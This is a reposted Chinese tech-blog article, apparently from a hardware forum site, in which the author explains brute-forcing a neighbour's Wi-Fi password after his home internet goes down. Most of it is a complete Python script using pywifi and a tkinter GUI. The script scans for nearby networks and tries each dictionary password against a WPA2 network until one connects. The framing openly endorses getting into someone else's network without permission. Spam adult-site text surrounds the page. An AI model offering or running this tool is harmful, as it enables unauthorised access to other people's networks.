在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何用代碼破解wifi密碼

Q4MP_gh_c472c21 ? 來源:小黃鴨編程社區 ? 作者:小黃鴨編程社區 ? 2021-11-22 09:45 ? 次閱讀

昨晚,家里停網了……對于碼農而言,停網了,這能忍? 于是,我打電話給修網絡的,但對方說太晚了,要第二天才能過來。 這時,我突然發現隔壁妹紙的wifi信號是滿格!這讓我動了邪念,看有沒有辦法蹭下網,嘿嘿! 首先,用的是萬能鑰匙,沒有成功…… 看來,我只能用字典來跑密碼了!這種小功能,肯定只有交給python來完成了,搜了一下發現pywifi這個組件剛好滿足需求。 下面來記錄一下我的操作過程。 # 簡介 Python豐富的第三方庫中自然也包括wifi的API,可以很方便的實現wifi的連接。如果有一份詳細的密碼本,可以實現wifi密碼的暴力破解,前提是你有足夠的耐心和時間去等待。 # 思路 對給定的wifi名稱,我們循環使用密碼去一一做嘗試,如果失敗就斷開連接,直到連接成功為止。 即導入所需要的第三方庫(請自行下載安裝好),通過pywifi調用網卡接口,依次做測試,循環讀取密碼嘗試連接。在這里只需要修改密碼文件路徑和wifi名稱即可。 #環境準備
  • python2.7
  • pywifi模塊
  • 字典
#導入模塊

		frompywifiimport*
		#字典準備
		隨機搞的wifi弱口令TOP10。一行只包含一組密碼,腳本依次讀取每行密碼,直到找到正確的密碼為止。
		
		
		#完整代碼
		

		# coding:utf-8 from tkinter import *from tkinter import ttk import pywififrom pywifi import constimport timeimport tkinter.filedialogimport tkinter.messagebox class MY_GUI():def __init__(self,init_window_name):self.init_window_name = init_window_name #密碼文件路徑self.get_value = StringVar() #獲取破解wifi賬號
self.get_wifi_value = StringVar() #獲取wifi密碼
self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取網卡接口self.iface = self.wifi.interfaces()[0] #抓取第一個無線網卡
self.iface.disconnect() #測試鏈接斷開所有鏈接
time.sleep(1) #休眠1秒
#測試網卡是否屬于斷開狀態 assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self):return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #設置窗口
def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text="配置") labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0) self.label = Label(labelframe,text="目錄路徑:").grid(column=0,row=1) self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) self.file = Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi賬號:").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi密碼:").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定義樹形結構與滾動條
self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標題
self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW)self.wifi_tree.bind("",self.onDBClick)self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi#cmd /k C:Python27python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXITdef scans_wifi_list(self): # 掃描周圍wifi列表#開始掃描
print("^_^ 開始掃描附近wifi...")self.iface.scan() time.sleep(15)#在若干秒后獲取掃描結果
scanres = self.iface.scan_results()#統計附近被發現的熱點數量
nums = len(scanres) print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據
self.show_scans_wifi_list(scanres)return scanres #顯示wifi列表def show_scans_wifi_list(self,scans_res):for index,wifi_info in enumerate(scans_res):# print("%-*s| %s | %*s |%*s "%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#print("| %s | %s | %s | %s "%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename) #Treeview綁定事件def onDBClick(self,event):self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #讀取密碼字典,進行匹配
def readPassWord(self):self.getFilePath = self.get_value.get()#print("文件路徑:%s " %(self.getFilePath))self.get_wifissid = self.get_wifi_value.get()#print("ssid:%s " %(self.get_wifissid))self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr =self.pwdfilehander.readline()#print("密碼: %s " %(self.pwdStr))if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)#print("返回值:%s " %(self.bool1) )if self.bool1:# print("密碼正確:"+pwdStr# res = "密碼:%s 正確 "%self.pwdStr;self.res = "===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功?。?!') print(self.res)breakelse:# print("密碼:"+self.pwdStr+"錯誤")self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr) print(self.res) sleep(3)except: continue #對wifi和密碼進行匹配def
connect(self,pwd_Str,wifi_ssid):
#創建wifi鏈接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles() #刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的鏈接文件self.iface.connect(self.tmp_profile)#鏈接
time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上 isOK=True else: isOK=Falseself.iface.disconnect() #斷開 time.sleep(1)#檢查斷開狀態 assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window()#ui.scans_wifi_list() init_window.mainloop() gui_start() # 結果 運行結果如下圖所示,按照圖形界面的操作,便能開始跑起來了。 就是這么簡單,你get到了沒?
責任編輯:haq
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 代碼
    +關注

    關注

    30

    文章

    4788

    瀏覽量

    68611
  • python
    +關注

    關注

    56

    文章

    4797

    瀏覽量

    84688

原文標題:昨晚停網后,我寫了一段代碼破解了隔壁小姐姐的wifi密碼...

文章出處:【微信號:gh_c472c2199c88,微信公眾號:嵌入式微處理器】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    NAS重置密碼攻略來襲,讓你告別‘密碼焦慮’!

    你是否曾遇到過這樣的尷尬場景:當你登錄某個賬號時,突然發現自己的腦子像是被格式化了一樣,一片空白。好不容易憑感覺輸入了幾組可能的密碼組合,結果系統無情地吐出了“密碼錯誤”的提示。 更讓人抓狂
    的頭像 發表于 12-11 15:29 ?174次閱讀
    NAS重置<b class='flag-5'>密碼</b>攻略來襲,讓你告別‘<b class='flag-5'>密碼</b>焦慮’!

    Linux系統設置用戶密碼規則(復雜密碼策略)方法

    Linux系統下的用戶密碼的有效期 可以修改密碼可以通過login.defs文件控制。設置密碼過期期限(默認情況下,用戶的密碼永不過期。) 編輯 /etc/login.defs 文件,
    的頭像 發表于 12-07 09:24 ?283次閱讀

    如何在softAP模式下配置station模式網絡SSID和密碼?

    我們打算在沒有用戶界面的環境中使用該模塊。我們需要配置WIFI站模式SSID參數和密碼才能連接到本地WIFI網絡。一種方法是使用 smartconfig 模式,這可行,但并非所有客戶都有
    發表于 07-16 07:57

    如何將智能配置ssid和密碼存儲在WiFi NVS結構中?

    示例的東西輕松保存 ssid 和密碼。 但是,我在文檔中注意到 esp_wifi_init() 方法有一個 WiFi NVS 結構的選項。https://esp-idf.readthedocs.io
    發表于 07-11 08:10

    使用wifi_station_set_config將SSID和密碼直接寫入config,如何設置WiFi以連接隱藏的12-14個頻道?

    我使用 wifi_station_set_config(struct station_config *config) 將 SSID 和密碼直接寫入 config。但是我無法連接到隱藏的 12-14
    發表于 07-09 06:51

    Esp8266未連接到WiFi路由器是怎么回事?

    我最近在 esp8266 mess 演示程序上做一個項目,我已經完成了編譯和刷新過程,但 esp 設備沒有連接到路由器,我已經在代碼中提到了 WiFi 的用戶名和密碼,相關代碼附在下面
    發表于 07-09 06:15

    關于ESP的WIFI MESH組網的資料,其中ROOT節點和子節點的連接是無密碼的嗎?

    看了官網上關于ESP的WIFI MESH組網的資料,其中ROOT節點和子節點的連接是無密碼的嗎?是否只用設置相同的meshID即可?只看到設置router密碼的函數。另,普通手持設備可以接入W
    發表于 06-26 07:37

    ESP32能否通過AP的BSSID和密碼來連接AP?

    ESP32的官方例程中, 在連接WIFI時, 都是按SSID和密碼來連接WIFI的。 在我們的應用場景中, AP的SSID可能無法獲知, 但可以知道AP的BSSID和密碼, 請問一下
    發表于 06-25 07:34

    求助,請問nvs如何存取多組WiFi的ssid和密碼?

    現在已經實現使用NVS存取一組WiFi的ssid和密碼,可是要實現多組WiFi存取ssid和密碼怎么破啊
    發表于 06-24 08:07

    esp32c3運行examples/wifi/getting_started/softAP例子,設置密碼WIFI標志上顯示一個叉,為什么?

    運行examples/wifi/getting_started/softAP例子,發現如果不設置密碼可以正常連上,但設置密碼WIFI標志上顯示一個叉,輸入
    發表于 06-06 06:42

    何用代碼在運行的時候設置程序防止被讀出?

    何用代碼在運行的時候設置程序防止被讀出
    發表于 06-03 07:24

    飛凌ElfBoard ELF 1板卡-WiFi名稱帶空格導致WiFi連接不上

    STA模式下名稱帶空格的WiFi連接不上,這是由于WiFi腳本通過傳參的方式實現名稱、密碼的傳遞,加上空格后會導致腳本將空格后的參數識別為下一個參數。把變量參數用引號引起即可,這樣就會識別為一個名稱,打開/usr/bin/elf
    發表于 03-26 09:25

    通過Python腳本實現WIFI密碼的自動猜解

    本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的自動猜解。
    的頭像 發表于 01-25 10:46 ?3444次閱讀
    通過Python腳本實現<b class='flag-5'>WIFI</b><b class='flag-5'>密碼</b>的自動猜解

    MySQL密碼忘記了怎么辦?MySQL密碼快速重置方法步驟命令示例!

    MySQL密碼忘記了怎么辦?MySQL密碼快速重置方法步驟命令示例! MySQL是一種常用的關系型數據庫管理系統,如果你忘記了MySQL的密碼,不必擔心,可以通過一些簡單的步驟來快速重置密碼
    的頭像 發表于 01-12 16:06 ?751次閱讀

    ESP8266實現TCP控制LED和設置WIFI密碼

    =089e9c9189991f80be4b4886098da65b#reply151108474896 代碼main.py,通過網頁把它傳入ESP8266 micropython固件中即可。如何傳輸自行查找資料吧。本人也忘記如何傳輸了。本文只是為了記錄一下曾經寫過的代碼
    的頭像 發表于 01-08 09:49 ?1840次閱讀
    主站蜘蛛池模板: 日韩 三级| 韩国一区二区三区视频| 67pao强力打造| 久久思re热9一区二区三区| 一级特级aaaa毛片免费观看| 色综合天天综合网国产成人网| 日本h视频在线| 亚洲黄网站wwwwww| 五月婷婷激情网| 免费看h的网站| 正在播放91| 在线观看你懂得| 欧美一级片免费在线观看| 国产精品欧美久久久久天天影视| 五月天亚洲综合| 992tv国产精品福利在线| hdhdhd69日本xxx| 色综合久久天天综合观看| 精品国产成人系列| 久久亚洲国产午夜精品理论片 | 性欧美另类| 特级毛片a级毛免费播放| 国产美女视频免费| 国产精品vv在线| 一级伦奸视频| 国产精品久久久精品视频| www.五月婷| 免费人成网ww777kkk手机| 女女同免费播放毛片| 国内视频一区| 韩国三级理论在线观看视频| 黄色一级大片视频| 2019天天爱天天做| 免费看18污黄| 国产色视频网站| 黄色网免费观看| 免费看吻胸亲嘴激烈网站| 日本夜夜操| 在线三区| 色视频网站人成免费| 国产精品美女免费视频大全|